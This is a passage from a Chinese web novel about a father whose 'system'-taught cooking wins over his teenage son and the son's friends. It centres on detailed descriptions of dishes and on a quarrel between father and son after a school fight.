“尝尝咸淡如何。”楚易文用勺子盛了小半碗汤，刚递出去就被胡一齐积极地接过来。 “嘶……”他被鲜味馋得都没想起来是刚煮好的汤，烫得嘶了声还不忘继续喝，边喝边夸，“太好喝了！鲜得我感觉自己都要飘起来，真是此汤只因天上有，人间哪得几回尝。” 楚易文有些哭笑不得，重新盛了一点汤分给叶其林他们：“尝尝咸淡，看看需不需要加盐。” “不用，我觉得已经很好喝，咸鲜美味。” 叶其林话落，商时贸仔细品尝着嘴里的余味，开口道：“我感觉可以再加一点点盐。” “好。”楚易文加了一点点盐进去，又让商时贸尝过以后，表示可以吃饭了。 听到可以开饭了，几个孩子都特别积极，端菜的端菜，盛饭的盛饭，胡一齐甚至还抽空将楚易文先推到餐桌前，表示他做饭辛苦了，让他坐着休息会。 几个十六七岁的小伙子，端个饭菜还是没问题的，很快饭菜就全部上桌，那叫一个香气四溢，色香味俱全。 “每道菜看起来都那么好吃，我都有些不知道先从哪下手了。” 胡一齐说是这么说，筷子却是已经朝着腌笃鲜伸过去，直接夹起块冬笋就往嘴里送。 冬笋吸收肉汤，吃起来脆嫩细腻的同时，笋子本身的清甜和汤的咸鲜形成鲜明对比，让人吃得停不下来。 可能由于冬笋是他们自己挖的，几个孩子不约而同都先朝冬笋下手，商时贸端起自己那份文思豆腐，将冬笋丝送入口中。 切成丝的冬笋丝柔中带脆，满满都是食材本身的清甜，单吃好吃，配上豆腐丝一起吃，口感更加丰富。 豆腐本就嫩，切成丝后更是入口即化，豆腥味被完全去除，吃起来带着浓郁豆香和汤汁的咸鲜。整道菜偏咸鲜清淡，但用那么多配菜煮出来的汤却是清澈醇香，令人回味无穷。 商时贸感觉这比自己当初吃过的菊花豆腐要更美味，本来只是准备先尝两口，结果吃着根本停不下来。 楚瑾钰同样在吃文思豆腐，本来他见文思豆腐汤色清澈，里面唯一的荤腥只有点火腿丝，还以为这道菜会比较寡淡，没想到却是淡而不寡，越吃越觉得香。 跟他们比起来，叶其林可能更偏爱炒菜，他直接伸出筷子夹了些冬笋炒五花肉，入口脆嫩清甜中夹着五花肉的咸鲜，锅气十足的同时让他越嚼越觉得香。 桌上每道菜都特别美味，好吃到叶其林他们恨不得多长几张嘴，此时就连胡一齐都顾不上说话，嘴巴始终保持被菜塞满的状态。 文思豆腐咸鲜清淡；腌笃鲜肉质酥肥，笋香脆嫩；红烧鱼鲜嫩入味；蜜汁鸡翅甜而不腻，外焦里嫩…… 胡一齐吃着吃着，甚至吃出股幸福感来，直到夹起块薯粉团时才终于有空说话：“叔叔，这是什么？外焦里糯，吃起来好香啊！” “这是我们老家的薯粉团，瑾钰很喜欢吃，你们都尝尝。”楚易文笑着招呼。 叶其林闻言夹起一块，发现吃起来确实外焦里糯，里面还放了腊肉、花生碎、青菜，口感特别丰富。 “好吃，不过楚瑾钰你不是不喜欢糯叽叽的东西吗？” “我是不喜欢食堂南瓜饼那种糯叽叽，薯粉团这种我很喜欢吃。”楚瑾钰说完给自己夹了一大块薯粉团。 胡一齐：“我还是第一次吃这个，太香了！” 他说完忽然想起来什么，起身跑去客厅将自己书包拿过来，从里面掏出两瓶茅台酒。 “叔叔给。” “这酒可不便宜，你从哪里来的？” “家里拿的，叔叔你放心，我爸知道的，这酒就当是我交的伙食费。”胡一齐想着他把酒拿走，他爸早晚会知道，也不算说谎话。 楚易文并不知道他和他爸的关系，自然不会怀疑，不过还是道：“不用了，我不怎么喝酒，你还是拿回家去。” “不喝可以拿来做菜，我记得白酒是可以去腥的。”胡一齐说完直接把两瓶酒拿到厨房放好。 楚易文哭笑不得道：“谁家奢侈到拿那么贵的酒当料酒用。” “反正最后都是进肚子，没区别。”胡一齐放好酒就小跑回来，端起碗边继续吃饭边说，“叔叔你别跟我客气，我家里有好多这个酒。” 他话落，商时贸和邵言易纷纷拿出他们带过来的东西，显然今天三人都没空手来。 楚易文知道儿子这几个朋友家庭条件都不错，但看到他们上门不是送好酒就是送好茶，还有个直接送人参，还是感觉有些不知道说什么好。 要是他们拎些水果，那他饭后直接洗了让孩子们一起吃倒是没什么，但这些东西他是真不想收。 “茶叶是我妈让我拿过来的，你不收我拿回去肯定会被骂。”叶其林咽下嘴里香喷喷的孜然牛肉说。 商时贸：“对，我也一样。” 楚易文无奈，只能道：“好了好了，先吃饭吧。” 四个半大小子是真能吃，尤其是他们早餐都没吃饱，现在开吃起来那叫一个风卷残云。就连看似吃相最矜持的商时贸，实际上进食速度也不慢，一口接一口，嘴就没停过。 人多吃饭就是香，看到他们大口吃菜，大口吃饭，楚易文食欲都上来，吃了两碗饭才放下筷子。 “叔叔你不吃了？”胡一齐关心道。 “我吃饱了，你们慢慢吃。” 楚易文说完起身去厨房，准备给他们洗点餐后水果。 他前脚刚走，后脚胡一齐就端起没剩多少的冬笋炒五花肉倒进自己碗里。看到他的动作，叶其林有样学样，直接将孜然牛肉都往碗里夹。 看得出来，刚刚楚易文在桌上时他们几个还有所收敛，现在他去厨房，立刻就都不装了。 “你们至于吗？”楚瑾钰吐槽归吐槽，抢菜的速度却是半点不慢，直接把剩下的薯粉团夹走。 商时贸米饭已经吃够，见他们都在往碗里抢菜，他端起汤碗去砂锅里捞没剩多少的腌笃鲜。 腌笃鲜虽然放了不少咸肉和鲜肉来炖，但整体味道却是鲜而不腻，他特别爱吃。 等楚易文洗完水果出来，就见桌上所有盘子都被扫空，连滴汤都没剩下，不由问：“你们吃饱没？” “吃……嗝……”胡一齐话还没说完，直接打个饱嗝，用事实表示他吃饱了。 何止吃饱，等四个孩子将碗里剩下的东西都吃完时甚至有点撑到。 “不用你们来，去客厅坐着吃水果去。”楚易文将几个孩子赶走，自己顺手就把碗筷收进洗碗机里。 不得不说，吃得干净还是有好处，至少省下收拾残羹剩饭这个步骤，直接往洗碗机里放就好。 吃太撑脑子有点充血，几个孩子都有点不想动弹，被赶到客厅时完全不想吃水果，直接瘫在沙发上。 而就这样，胡一齐还要扯着嗓子嚷嚷几声：“叔叔辛苦了，你做的菜简直就是人间美味，能吃到简直太幸福了……” “你要不要这么哄着我爸？”楚瑾钰转头看向他。 胡一齐：“什么哄，我这可是大实话。” 客厅内楚瑾钰跟胡一齐又开始拌嘴时，楚易文将灶台什么的擦干净，顺手将几个孩子放在台面的东西转移到已经擦过的餐桌上，没想到系统声却是响起，奖励了“龙井虾仁”和“药膳鸡汤”两个菜谱。 这也行？ 楚易文面对这意外之喜有点意外，不过并不多。 等他收拾完卫生从厨房出来时，就听见几个孩子坐在沙发上喊无聊，于是道：“你们作业应该还没做吧？无聊的话正好一起把作业做了。” 昨天去农家乐玩了一天，今天上午他们在打游戏，楚易文估摸着几个孩子作业应该都没做。 胡一齐听到作业，赶紧说：“我作业在家，没带来。” “瞎扯，你书包都拿过来了，作业肯定在里面。”楚瑾钰说完撒腿就跑去拿他书包，果然从里面翻出几张卷子。 胡一齐见他把卷子翻出来，在心里“靠”了一声，后悔自己非要拿书包来装酒。 叶其林和商时贸笑着看热闹，在楚易文视线望过来时诚恳表示他们作业真在家里。 二人出门时都只拎了礼盒，至于书包什么的，又不是上学，他们才不会背。 本来他们以为没带作业就能逃过一劫，谁知道楚瑾钰今天反应那叫一个快啊：“没事，我家有打印机，直接打几张卷子出来就行。” 商时贸，叶其林：“……” 他们俩有些无语时，胡一齐却是瞬间快乐起来，觉得好兄弟就得有美食一起吃，有卷子一起写。 毕竟吃人嘴软，楚易文提出让他们写卷子，哪怕不想写，几个孩子也不好意思拒绝，最终只能眼睁睁看他拿着卷子去打印。 “行啊你，明天去学校你给我等着。”叶其林指着楚瑾钰小声道。 楚瑾钰却是完全不带怕：“你明天不吃饭了？” 叶其林倒是想硬气地说一声不吃，但他还真硬气不起来。 看到他那个表情，楚瑾钰乐得直接笑出声来，就差没在沙发上打滚。 等楚易文打印好卷子出来，就见自家儿子笑得那叫一个开心，诧异道：“做卷子你那么高兴？” “叔叔我跟你说，楚瑾钰他最近特别爱学习，我觉得你应该多给他买点课外练习册，让他多刷点题。”叶其林趁机打击报复。 “滚，学校的作业就够多了，要刷题你自己刷去。”楚瑾钰说完又看向自家老爸，生怕他真听进去谗言，“爸，你可别买什么练习册，买了我也不做。” “你们先写卷子。”楚易文将卷子递过去，让他们坐在餐桌上写。 卷子上每个字胡一齐都认识，但组合起来却是看得他直犯困，忍不住小声嘀咕：“早知道吃完饭就该跑的……” “没办法，这就是美食的代价。”叶其林小声回应。 “至于吗你们，卷子总是要做的，早点做完早轻松。”楚瑾钰最近可能是被他爸盯着写过好多回作业，此时反倒是四人中感觉最良好那个。 要知道，以前可不是这样，最开始找上邵言易要作业抄的就是他，而且他上个学期暑假作业都是到学校补的。 商时贸：“行啊，这话竟然能从你嘴里说出来，真是士别三日当刮目相看。” 四人卷子没写几道题，聊天声音却是越来越大。楚易文在客厅里有听见，不过倒是没说什么，毕竟随着这段时间对自家儿子以及他那几个朋友的了解，他们愿意乖乖坐在那写卷子就已经很不错。 他坐在客厅没什么事干，想到昨晚决定要多学点菜谱，于是戴上耳机开始用手机找做菜相关视频。 如今这个网络发达的时代，网上什么视频都能找到，楚易文觉得自己不能光靠在系统厨房学习，还可以自己在网上多学点东西。 名师出高徒，在系统厨房内经过老爷子的严格教导，楚易文现在看网上做菜视频时并没有什么难度。 餐厅那边，四个孩子里数胡一齐最没定性，写着写着就想以想喝水为理由起身溜达起来，还直接溜达到楚易文旁边来。 发现楚易文在看别人的做菜视频，胡一齐凑到他旁边道：“叔叔，我觉得你也可以拍视频，你做的菜可比网上这些人好多了。” 楚易文只戴了半边耳机，闻言转头问：“你卷子写完了？” “没有，我写累了，休息会。”胡一齐说完掏出手机转移话题，“叔叔你看，这是你中午做菜时我拍的，就你这一手刀工，发到网上肯定会火。” 楚易文好奇地看过去，就见他竟然将自己做文思豆腐的过程拍了个七七八八。 他自己做时还没什么感觉，毕竟之前在系统厨房内反反复复切了不知道多少次豆腐，加上老爷子切豆腐时甚至能做到闭上眼睛，珠玉在前的情况下，他自然不会觉得自己有多了不起。 但此时透过视频来看，虽然有点不太谦虚，他发现自己确实有点厉害。 “叔叔我们加个好友，我把视频发给你，我觉得你真的可以试试去拍视频，以后说不定能当个大网红。” 胡一齐跟楚易文加完好友把视频发过去，又拉着他推荐起网上跟美食相关的博主。 发现他喝个水人直接不回来了，客厅里叶其林他们三个很快都走过来。 楚易文陪着他们聊了会，就当是给他们放松时间，过大概二十分钟才开口：“晚上你们想吃什么？” “我想吃烧鸡！” “我都可以。” “行，那你们赶紧去做作业，早点做完说不定还能打回游戏，然后就可以吃晚饭了。”楚易文语气带着几分哄。 可能是有晚餐这个胡萝卜在前面吊着，接下来四人还真就老实下来，先挑自己会做的做，不会做的互相问问，要是实在都不会，就丢那空着。 晚饭楚易文没让他们失望，吃得几个孩子满脸陶醉，回家后，胡一齐更是晚上睡觉时梦里都是各种美味佳肴，可把他给美得不行。 他是美了，次日上午他爸打开酒柜准备拿瓶酒去送朋友时，发现里面最好的两瓶茅台只剩空盒子时，简直震惊。 胡父第一反应是家里遭小偷了，但想到小偷不可能只偷两瓶酒，立刻就想到自家儿子。 他特意等到儿子晚自习回来时询问，胡一齐完全不带怕，直接承认是自己不小心把酒给摔了。 “我怎么生了你这种败家儿子！” “怪我干嘛，要怪就怪你自己基因不好，你这种基因就只能生出我这种儿子，我还没怪你呢。”胡一齐此时完全看不出在楚易文面前的乖巧，说出来的话能把人气死。 胡父气得脸色通红：“你怪我什么？我生你还生出仇来不成？” “我是我妈生的，你欺负我妈就是跟我有仇。” “那你找你妈去啊！” “就不去，谁让你要生儿子，生了就得养，你气也没用。”胡一齐心说他又不傻，与其去当他妈的拖累，不如在这多花点他爸的钱，反正他不花也是给别人了。 这边父子二人鸡飞狗跳时，另外一边楚家，楚瑾钰和他爸之间气氛倒是挺温馨。 他正在餐厅喝着汤，楚易文则是拎着他放在茶几上的那袋板栗问：“哪来的那么多板栗？” “在小区附近看到有个老人这么晚还在卖板栗，就买了点。” “这板栗还行，你明天是想吃板栗烧鸡还是板栗烧排骨？” “烧排骨。” 次日早上，楚瑾钰来到学校，给叶其林他们带了点鸡蛋饼。 胡一齐吃鸡蛋饼时表情还算好，吃完却是趴在桌上看起来有点蔫。 他怎么了？ 楚瑾钰看向叶其林，用眼神询问。 八成是又跟他爸吵架了。叶其林无声比着口型回答。 这种事楚瑾钰感觉自己帮不上忙，毕竟他总不能去胡一齐家帮他把他爸打一顿，于是道：“我昨晚在小区附近买了点板栗，我爸说中午做板栗烧排骨吃。” “板栗烧排骨？”果然，听到吃胡一齐瞬间就坐直起来，“我只吃过板栗烧鸡，原来板栗还可以烧排骨吗？” “可以啊，等中午你就能吃到了，我亲自买的板栗，烧出来肯定好吃。”楚瑾钰夸张道。 胡一齐：“好吃那也是叔叔手艺好，跟你有什么关系。” “再给你一次组织语言的机会，不然我中午吃完饭可能会忘记点事，比如带保温桶。”楚瑾钰故意威胁，果然很快就让胡一齐忘记昨晚的那点不愉快，满脑子都是中午的板栗烧排骨。 第28章 梅菜扣肉 板栗和肉是绝配, 不管是拿来烧鸡还是烧排骨，都特别美味。 中午楚易文在家烧这道菜时简直香飘十里，都不用走到他家附近, 只要从小区大门那边进来就能闻见香味。 浓郁的肉香中带着栗子特有的甜香，两者融合在一起，其中还夹杂着酱香和香料气息，在这种入冬时节，光闻见香味就让人好像看见一锅正在咕噜噜炖着的栗子烧排骨。 随着厨房内楚易文将火调大开始收汁，板栗烧排骨香味更加浓郁，等到汤汁越来越浓稠时, 每块排骨和板栗上都均匀裹上酱褐色汤汁。 楚易文握着筷子尝了一口，排骨已经完全炖烂，轻轻咬下去肉就脱骨, 咀嚼间咸鲜中带着栗子的清香与回甘，很是美味。 经过上次带儿子去农家乐挖冬笋，他和儿子关系明显越来越好, 因此这些天他心情一直不错，做菜时脸上都带着笑容。 想到儿子昨天说想在学校跟胡一齐他们一起吃饭, 不然到教室看他们吃会馋，楚易文将刚出锅的板栗烧鸡只留下少部分，将大部分全部装进保温桶。 等到他将饭菜全部做好时，楚瑾钰正好到家, 回来第一件事就是往厨房里冲。 “我在小区门口就闻见香味了。”楚瑾钰说完手已经伸到盘子里捏了块排骨吃，香得眼睛都更亮几分。 楚易文倒是没说他不该吃，只问：“你手洗了没？” “我手是干净的。”他越吃越觉得香，说完没忍住拿起筷子又夹块板栗塞进嘴里。 粉糯绵密的板栗本身味道就很好吃，和排骨一起烧, 吸收肉汁和酱汁的精华，吃起来甜中带咸，咸中带鲜，余味令人回味。 “要不还是在家吃点先？”楚易文看到他那么馋，不由提议。 楚瑾钰摇头：“算了，胡一齐今天心情不好，我还是赶紧带饭去学校。” “他怎么了？”楚易文对开朗又嘴甜的胡一齐印象还挺好，闻言不由关心道。 “问题不大，等他吃饱就没事了。” 楚瑾钰说完拎起几个保温桶就往大门方向走，嘴里还在回味刚刚吃的板栗烧排骨。 “我开车送你去吧。”想到今天风有点大，楚易文解下身上围裙说。 “不用，爸你赶紧吃饭，等会菜冷了。” 楚瑾钰说完人已经开门离开，一溜烟往学校方向走。 没有什么是一顿美食解决不了的，如果有，那就两顿。这句话对胡一齐来说还真是特别符合，在楚瑾钰拎着午餐到教室时，他瞬间就精神起来。 保温桶盖子打开，最上面就是板栗烧排骨，整道菜呈现深琥珀色，排骨经过炒糖色和炖煮，肉质是深褐色，上面泛着汤汁的油光，看起来就特别入味。金黄色板栗裹着汤汁，让它颜色更深些，和排骨紧紧挨在一起，两种颜色搭配起来，卖相诱人。 胡一齐看到菜，连米饭都顾不上盛，拿起筷子就直接吃起来，香得直晃脑袋。 看到他有好吃的瞬间把什么烦恼都忘记，楚瑾钰忍不住笑了下，难得好心地帮他盛好米饭。 四人热热闹闹地吃着午饭时，楚家，楚易文已经吃完饭，他将碗筷收拾好，坐在沙发边看电视边想着下午要不要去钓鱼时，手机忽然响起。 发现是老师打过来的电话，他下意识坐直身体：“喂，王老师你好。” 听到老师说儿子在学校和同学打架，楚易文第一反应是不太可能。倒不是他觉得自家儿子不会打架，而是儿子才从家里拿了午餐去学校，现在这会最多刚吃完饭，怎么会有时间打架。 但在听到老师让他尽快来一趟学校，他还是赶紧起身出门，几分钟后就到校门口。 跟门卫说清楚是老师找他，楚易文很快进入学校，直奔老师办公室。 办公室内，此时王老师正坐在椅子上，他面前则站着楚瑾钰他们四个，其中楚瑾钰衣服前面染上点点滴滴红色，是刚刚打架时不小心把对方鼻子打出血，结果血喷到他身上。 楚瑾钰觉得自己没错，听到老师叫家长，表情透着不爽。 看到他一脸不服气，王老师也懒得再说他，而是安静等着，本来还以为要等很久，没想到很快门外就传来敲门声，随即走进来个穿着灰色大衣的男人。 “王老师。” “楚瑾钰爸爸你好。” 双方刚打完招呼，楚易文视线立刻落到自家儿子身上，在看清楚他身上沾着大片小片红色时，瞳孔放大，脑海中下意识浮现梦中他坠楼后的场景。 梦中那片血色其实他一直没忘，只是压在心底，此时直接影响他的情绪，让他不自觉焦躁起来：“楚瑾钰，让你来学校是好好读书的，谁让你打架？” 楚瑾钰听到这话瞬间就像炮仗一样炸开：“我小学也打架，初中也打架，又不是现在才打，以前也没见你管我，现在我都快成年了，用不着你管我！” 站在楚瑾钰的角度来看，他一直觉得他爸根本不关心他，不爱他，哪怕这段时间他爸天天给他做饭，但他想到爷爷奶奶哪怕再宠他，该严格时也会严格，他爸却会说出让他愿意学就学，学不进去就算了的话，总觉得真爱孩子的父亲不会这么纵容。 而现在，他连原因都不问，直接当着老师和朋友的面直接训斥他打架，更让楚瑾钰肯定自己的猜测。 “以前我哪里没管你？我没管你你吃什么喝什么长大的？”楚易文不想在这种时候将自己父母拿出来说，便只能提钱。 “呵！有钱了不起吗？那有本事你别生儿子，跟钱过一辈子去！” 楚瑾钰说完直接从办公室跑出去，胡一齐和叶其林赶紧去追，商时贸则留在办公室向楚瑾钰解释：“叔叔，楚瑾钰跟隔壁班学生打架是因为对方在我们吃饭时阴阳怪气，本来我们都没理他，结果吃完饭后他还嘲讽……” 之所以会打起来，纯粹是对方嘴欠，对楚瑾钰说“你爸那么闲，能天天给你做饭，该不会是个无业游民”之类的垃圾话，还说可以给他爸介绍个扫大街的工作。 楚瑾钰本来就不是什么好脾气的人，听到这话不打人才奇怪，唯一没料到的是对方嘴那么贱，但一点不经打，两拳头就打得他鼻子喷血。 商时贸本来觉得问题不大，没想到之前看着关系挺好的父子二人，不知道为什么今天火气都那么大。 他说完干脆也从办公室跑出去，瞬间屋内便只剩下王老师和楚易文。 王老师有点小尴尬，但他毕竟是老师，什么场面没见过，很快就收拾好情绪：“楚瑾钰爸爸，事情确实和商时贸说的差不多，是隔壁班学生先挑事，我叫你过来主要是想和你说一声，以后尽量不要让楚瑾钰在教室里用餐……” 本来不管谁先挑事，打架总归是不对的，打架的事他也该说几句，但见楚瑾钰他爸已经批评过，他就没再多说，只提了吃饭的问题。 作为班主任，王老师嗅觉又没问题，当然知道最近两个月楚瑾钰他们那片经常会飘出格外诱人的香味。尤其是现在天气冷了，教室里门窗关着，香味很难散去。 之前他在班里提过一嘴，冬天味道比较难散，让班里学生尽量别在教室吃东西。但听话的学生一开始就不会在教室吃，他们几个则是左耳朵进右耳朵出，压根不听。 班主任是看在楚瑾钰最近学习态度有所进步，而且四个人最近没在班上惹出什么乱子，这才睁一只眼，闭一只眼。没想到心还是放得太早，今天就闹出事来。 “好的我知道了，给老师添麻烦了，那没什么事的话我先带楚瑾钰去看医生。”楚易文深呼吸一口气，知道自己刚刚反应过度，想着还是先带儿子去医院看看再说。 王老师“啊”了一声后解释：“楚瑾钰没事，是他把别人给打了，对方压根没碰到他。” 毕竟是在自己班上，而且叶其林他们三就在旁边，楚瑾钰怎么可能会吃亏。 “那他身上的血？” “是他把别人鼻子打出血了，沾到他身上。” 楚易文闻言放下心来，确定老师没有其他事后，从办公室离开前往教室。 “外面是谁的家长？长得还挺帅。” 此时班上学生基本都在教室里坐着，楚易文刚过来就有学生发现他。 后排，胡一齐听见声音抬头，随即提醒楚瑾钰：“你爸过来了。” 楚瑾钰本来还只是把外套脱了坐在那生闷气，听到“爸”这个字时，直接趴到桌上。 楚易文走到教室最后那扇窗户外，看到儿子明显是生气不想搭理人，拿手机打出几行字面向窗户。 胡一齐起身凑过来，见他在问楚瑾钰有没有受伤，把头摇得像是拨浪鼓一样。 确定儿子真没事，楚易文视线落在他只穿着羊毛衫的后背上，回家拿了件外套给他送过来。 家离得近就是方便，十分钟不到，厚外套就已经被胡一齐拿进教室，他边往楚瑾钰身上盖边说：“行了，别趴着了，你爸已经走了。” 楚瑾钰又趴一会才坐起来，看到身上的外套下意识问：“哪来的？” “你自己的外套不认识？你爸送过来的。” 楚瑾钰闻言伸手想把衣服丢地上去，却被胡一齐拦住：“你要不想穿我们两换一件，别到时候把自己搞生病了还得去医院。” 他说完脱下身上外套跟楚瑾钰交换，这下楚瑾钰倒是没再拒绝。 等他把外套穿好，胡一齐说：“其实你爸也是担心你，估计是看到你身上的血以为你受伤了才会生气。” “担心的话不该先关心吗？” “他可能关心的方法不对，但肯定是关心你的，刚刚在教室外他问我你有没有受伤，看到你把外套扔掉又赶紧送衣服过来，已经挺好了。” “好个屁。”楚瑾钰也不知道自己在气什么，反正就是很生气。 胡一齐：“你爸还不好？我觉得他已经够好了，尤其是厨艺，实在不行咱们俩换一下？” “我那么生气，你跟我说这个，胡一齐你还是个人吗？”楚瑾钰差点没被他给气笑。 见他好歹愿意说话，不像刚才那样趴桌上装死，叶其林看热闹不嫌事大地插话：“他惦记你爸又不是一天两天了，你要是肯跟他换，他怕是能笑死。” “滚滚滚，不想跟你们说话。” 楚瑾钰重新趴到桌上，直到下午第一节课都没有起来。 随着天气越来越冷，教室里这个环境本来就很适合睡觉，他刚开始只是单纯趴着，结果很快就趴睡着。 第二节课时，胡一齐忍不住找叶其林说悄悄话：“你说他这样，晚上还会回家吃饭吗？” “还用问，就他那个倔脾气，肯定不会。”叶其林小声回道。 他看人还是挺准的，果然，等到放学铃声响起时，楚瑾钰完全没有要回家的打算。 胡一齐试图劝两句，但看到他那个表情，最终还是打消念头。 “走吧走吧，去食堂忆苦思甜去。” 叶其林：“你小心食堂厨师听到这话打你。” 四人在食堂没滋没味地吃了顿晚餐，胡一齐开始担心起楚瑾钰晚自习会不会不回家。 事实证明他没白担心，楚瑾钰还真不准备回家，直接跑到学校附近开了个电竞酒店房间。见他不肯回家，叶其林他们只能陪着，同时胡一齐还悄悄给楚易文发了条消息。 家里。 楚易文收到消息，见儿子连家都不想回，感觉自己今天也没说什么重话，不明白他反应怎么会那么大。 他将白天儿子说的话在心里翻来覆去想了几遍，很快圈出一个重点，那就是儿子觉得自己从小到大不管他。 楚易文觉得自己简直冤枉，以前有他爸妈在，他承认他可能管得没有那么多，但怎么可能完全没管他。 其他先不说，光说物质上，可以说从小到大儿子要什么他就会给买，而且零花钱从小学就开始给。 楚易文叹气，给胡一齐发了个红包过去，让他们在酒店照顾好自己，晚上早点休息。 次日。 楚易文想着不能让儿子一直不回家，于是上午吃过早餐就开始研究中午要做什么菜。 他想得很好，目前得先把人叫回家，然后再考虑一下怎么和他谈心，把能说的该说的都说清楚。 想到厨房里还有之前从老家带的干菜，楚易文觉得可以做个梅菜扣肉。冬天正是需要囤积脂肪抗寒的季节，梅菜扣肉脂香浓郁，很适合现在吃。 在心里大概规划好菜单，他出门买菜去，买完菜回来先把汤炖上，再来做其他菜。 汤是玉米胡萝卜排骨汤，甜玉米切段，胡萝卜切滚刀块，配上新鲜排骨一起炖，肉香中带着玉米和胡萝卜的清甜，光是想想就好喝。 汤在旁边炖上，楚易文将刚买回来的五花肉冷水下锅，加葱、姜、料酒、八角、香叶煮半个小时左右去腥。焯完水他将肉捞出来擦干水分，先用工具在猪皮表面扎好洞方便入味，再用老抽涂抹上色。 做菜时他全身心都投入进来，此时心里没有任何烦恼，只剩下对手中菜品的专注。五花肉处理好，他起锅烧油，在六成油温时肉皮朝下开始炸五花肉。 中小火将五花肉炸成虎皮状，楚易文将肉捞起来放入冰水中先泡着，转头去处理梅干菜。 梅干菜出门前他已经提前泡在水中，此时将泡发的梅干菜挤掉水分，用刀切碎配上姜末蒜末一起炒香，简单调味后盛起来备用。 梅干菜没有炸五花肉时香味那么霸道，但炒出来那股特有的菜香很是诱人。 楚易文将梅干菜先放到旁边，将五花肉拿出来擦干水分，用刀均匀地切成片状，刀工快得闪过一丝寒芒，可惜此时厨房没有其他人能欣赏。 五花肉切成片后还没完，他又在盆中加入生抽、老抽、料酒、白糖等调料抓均匀后进行腌制。 腌制五花肉的时间，楚易文顺手炒了个酸辣土豆丝，炒完装进保温桶里，转头继续来做梅菜扣肉。 将腌制好的五花肉片铺在深碗中，炒好的梅干菜盛到碗中压结实，将腌肉的汤汁淋上去后就可以开始蒸。 随着时间的流逝，梅干菜和五花肉在高温下香味互相融合，你中有我，我中有你，梅干菜特有的咸香混着猪肉的脂香，以及微微酱香和八角香叶的气息，组成特别有层次感的香味。 酸辣土豆丝、芋头烧鸡、梅菜扣肉、肉末蒸蛋、玉米胡萝卜排骨汤。四菜一汤做好，楚易文快速将自己那份午餐吃完，碗盘都没收拾就直接出门去学校。 在学校门口等了几分钟，直到听见放学铃声时，他给胡一齐发了条消息。 显然，对自家儿子楚易文还是有几分了解，知道他犟起来是真犟，要是给他发消息，他大概率当看不见。 学校内，胡一齐收到消息时眼睛都亮起来，让他们先去食堂，自己则是撒腿就往学校门口跑。 “叔叔！” 胡一齐叫得那叫一个亲热，听清楚的知道他在喊“叔叔”，不知道的还以为是在喊“爸爸”。 “今天做了梅菜扣肉，你们尝尝好不好吃。对了，你们班主任说，让你们别在教室里吃饭。”刚刚发消息时楚易文已经说过，现在还是多提醒一句。 “我知道，已经让楚瑾钰他们去食堂了，我们在食堂里吃。”胡一齐说完还不忘嘴甜，“我最爱吃梅菜扣肉了，叔叔你做的肯定好吃！” “行，那你们快去吃饭，旁边那个袋子里还有水果，你们吃完饭后吃。” “好的，谢谢叔叔，叔叔你放心，我会帮你劝楚瑾钰回家的！” “好，那就谢谢你了。” 二人聊完，一个转身开车回家，一个则是浑身冒着愉快的气息往食堂走。 “当当当当~” 找到楚瑾钰他们坐的位置后，胡一齐将手里提的东西放到桌上，表情那叫一个开心。 “你看，叔叔特意给你做的梅菜扣肉，闻起来就香。” 胡一齐将保温桶打开放到楚瑾钰面前献宝，他却直接偏开头去：“我不吃，要吃你们自己吃。” “你真不吃？那我们可不客气了？”叶其林没想到一晚上过去他还不高兴，边自己拿碗盛饭边说。 楚瑾钰没理他，像是落枕一样始终将脖子扭向右边。 叶其林他们三人对视一眼，干脆直接开吃，边吃嘴还不消停：“哇，这梅菜扣肉太好吃了，吃起来滑滑糯糯，肥而不腻！” 五花肉整体偏肥，但经过长时间蒸制，肥肉的腥气都被蒸出来，只余下浓郁的脂香，肉皮部分口感香糯，肥肉部分入口即化，瘦肉部分烂而不柴，满满都是纯粹的肉香。 这一口下去，吃得简直不要太满足，胡一齐夸得特别真心实意。 “梅干菜好香，吃起来特别有嚼劲。” “酸辣土豆丝又脆又开胃……” 三个人你一言我一语，楚瑾钰有没有被馋到先不说，坐在附近几张桌子的学生闻着香味，口水都快下来。 “我也好想吃梅菜扣肉……”有个学生望着已经碗里油腻腻的肥肉片，再用余光瞧瞧别人桌上肥而不腻的扣肉，只觉得餐盘里的饭菜瞬间就不香了。 “胡一齐你怎么把扣肉都吃完了，楚瑾钰还没吃呢！” 叶其林话落，楚瑾钰下意识转头，就见梅菜扣肉果然只剩梅菜不见肉。 “胡一齐，你竟然真不给我留？”楚瑾钰想到自己还没吃过他爸做的梅菜扣肉，一瞬间感觉更加不开心。 换做平常，胡一齐肯定要回一句“不是你自己说不吃的吗？”但现在，为了接下来的一日三餐，他还是把话憋回去，端起特意夹出来的那碗说：“哪敢不给你留啊，这不是。你要不要吃？” 见他一副“你要不吃我就自己吃”的表情，楚瑾钰想着他爸做的他凭什么不吃，不吃白不吃，直接伸手把碗接过来。 说实话，比起昨天的晚饭和今天的早餐，还是这碗扣肉香，香得他差点没咬到舌头。 第29章 香煎薯粉团 “我跟你说, 你夹点梅干菜放到肉上，再搞点米饭上去，这样吃味道更绝！” 见他终于肯吃饭, 胡一齐边往碗里肉片上夹菜和饭边说。 乌黑油亮的梅干菜卧在酱色的五花肉上，再配上米饭，吃进嘴里确实香惨了。咀嚼间先尝到肉的咸鲜，随即一丝来自糖的回甘中和咸味，肉的脂香和梅干菜特有的清香与米饭相融合，吃得人根本停不下来。 肥而不腻的扣肉香味那叫一个霸道，楚瑾钰才吃两口就已经食欲大开, 压根没空理胡一齐，直接一口肉一口米饭，一口梅干菜一口米饭, 吃得头都抬不起来。 扣肉已经被四人瓜分完，很快梅干菜也只剩个底。叶其林感觉刚刚吃太快，有点噎着, 重新拿个一次性碗去盛汤喝。 冬天来上碗热乎乎的汤，绝对是种享受。他端着碗刚喝两口就忍不住夸：“好清甜的汤, 喝得人浑身都舒坦了。” 楚易文挑选的玉米又嫩又甜，经过长时间炖煮，玉米的清甜被煮进汤里，一口下去, 既有肉鲜味，还带着玉米特有的清甜，以及胡萝卜的甜味。 “你盛那么多！” 胡一齐本来在大口扒饭，看到他手里那碗汤，生怕自己待会没得喝, 赶紧先把汤盛出来。 当然，喝水不忘挖井人，他给自己盛完，顺手还帮楚瑾钰盛出来一碗。 “我的呢？”商时贸开口。 “剩下不都是你的。” 商时贸：“你把汤渣留给我？” “什么汤渣，叔叔这汤炖的哪有汤渣。”胡一齐说完将剩下的汤全部倒出来，汤色清澈金黄，里面躺着切面干净的排骨与胡萝卜、玉米，汤底半点碎骨头都没有。 商时贸顺手把汤接过来，先夹块玉米送进嘴里，感觉玉米清甜脆嫩中带着肉汤的咸鲜，比单纯的煮玉米要好吃很多。 